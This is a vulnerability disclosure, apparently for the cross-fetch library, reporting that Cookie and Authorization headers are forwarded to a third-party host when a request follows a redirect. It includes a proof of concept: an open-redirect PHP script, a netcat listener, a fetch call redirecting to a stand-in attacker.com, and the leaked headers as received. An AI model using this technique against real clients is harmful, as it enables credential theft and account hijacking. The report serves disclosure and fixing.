Cookie header leaked to third party site and it allow to hijack victim account
When fetching a remote url with Cookie if it get Location
response header then it will follow that url and try to fetch that url with provided cookie . So cookie is leaked here to thirdparty.
Ex: you try to fetch example.com
with cookie and if it get redirect url to attacker.com
then it fetch that redirect url with provided cookie .
So, Cookie of example.com
is leaked to attacker.com
.
Cookie is standard way to authentication into webapp and you should not leak to other site .
All browser follow same-origin-policy so that when redirect happen browser does not send cookie of example.com
to attacker.com
.
if you fetch http://mysite.com/redirect.php?url=http://attacker.com:8182/ then it will redirect to http://attacker.com:8182/ .
First setup a webserver and a netcat listner
//redirect.php
<?php
$url=$_GET["url"];
header("Location: $url");
/* Make sure that code below does not get executed when we redirect. */
exit;
?>
nc -lnvp 8182
run bellow curl command
import fetch from 'cross-fetch';
// Or just: import 'cross-fetch/polyfill';
(async () => {
try {
const res = await fetch('http://[email protected]/redirect.php?url=http://attacker.com:8182/yy',{headers:{"sdf":"fdffff","Cookie":"dsd=sfds","Authorization":"adad"}});
if (res.status >= 400) {
throw new Error("Bad response from server");
}
console.log(res);
const user = await res.json();
console.log(user);
} catch (err) {
console.error(err);
}
})();
response received in attacker netcat
GET / HTTP/1.1
sdf: fdffff
Cookie: dsd=sfds
Authorization: adad
Accept: */*
User-Agent: node-fetch/1.0 (+https://github.com/bitinn/node-fetch)
Accept-Encoding: gzip,deflate
Connection: close
Host: localhost:8182
so, in this response cookie is leaked to thirdparty site attacker.com during redirect.
So, here i provided cookie for mysite.com but due to redirect it leaks to thirdparty site attacker.com
If provided url domain and redirect url domain is same then you can only send cookie header to redirected url . But if the both domain not same then its a third party site which will be redirected, so you dont need to send Cookie header.